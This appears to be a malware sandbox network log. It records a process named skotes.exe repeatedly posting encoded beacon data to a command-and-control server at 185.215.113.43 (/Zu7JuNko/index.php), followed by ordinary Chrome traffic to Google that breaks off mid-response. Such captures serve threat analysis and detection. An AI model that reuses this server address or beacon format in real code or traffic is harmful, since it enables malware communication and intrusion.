Nov 20, 2024 08:14:26.026596069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	61365	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:27.554760933 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:28.249279976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	61366	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:29.869847059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:30.575889111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	61367	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:32.102648020 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:32.806790113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	61368	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:34.435154915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:35.341269970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 20, 2024 08:14:35.343976021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	61369	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:37.034738064 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:37.768367052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	61373	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:39.407470942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:40.106523991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	61374	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:41.623526096 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:42.327790022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	61375	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:43.954654932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:44.683783054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	61376	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:46.207442045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:46.900242090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	61377	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:48.522814989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:49.233582020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	61378	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:50.753256083 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:51.472544909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.186.68	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:05 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 07:09:06 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:06 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-yBaxtIFIUKMQr2NQLgtIYw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 07:09:06 UTC	124	IN	Data Raw: 33 32 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 65 6e 76 65 72 20 6e 75 67 67 65 74 73 20 76 73 20 6d 65 6d 70 68 69 73 20 67 72 69 7a 7a 6c 69 65 73 22 2c 22 63 61 70 74 61 69 6e 20 6b 69 72 6b 20 75 6e 69 66 69 63 61 74 69 6f 6e 22 2c 22 6a 65 72 73 65 79 20 6d 69 6b 65 20 73 75 62 73 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 Data Ascii: 327)]}'["",["denver nuggets vs memphis grizzlies","captain kirk unification","jersey mike subs","weather forecast snow st
2024-11-20 07:09:06 UTC	690	IN	Data Raw: 6f 72 6d 22 2c 22 62 6c 61 63 6b 20 6f 70 73 22 2c 22 77 6f 72 64 6c 65 20 61 6e 73 77 65 72 20 6e 6f 76 65 6d 62 65 72 20 31 39 22 2c 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 65 61 67 6c 65 73 20 76 73 20 72 61 6d 73 22 2c 22 6c 6f 67 69 6e 20 71 75 65 75 65 20 6d 69 63 72 6f 73 6f 66 74 20 66 6c 69 67 68 74 20 73 69 6d 75 6c 61 74 6f 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 Data Ascii: orm","black ops","wordle answer november 19","philadelphia eagles vs rams","login queue microsoft flight simulator"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d
2024-11-20 07:09:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	142.250.186.68	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:06 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 07:09:06 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 07:09:06 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 07:09:06 UTC	372	IN	Data Raw: 32 35 66 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 25f5)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 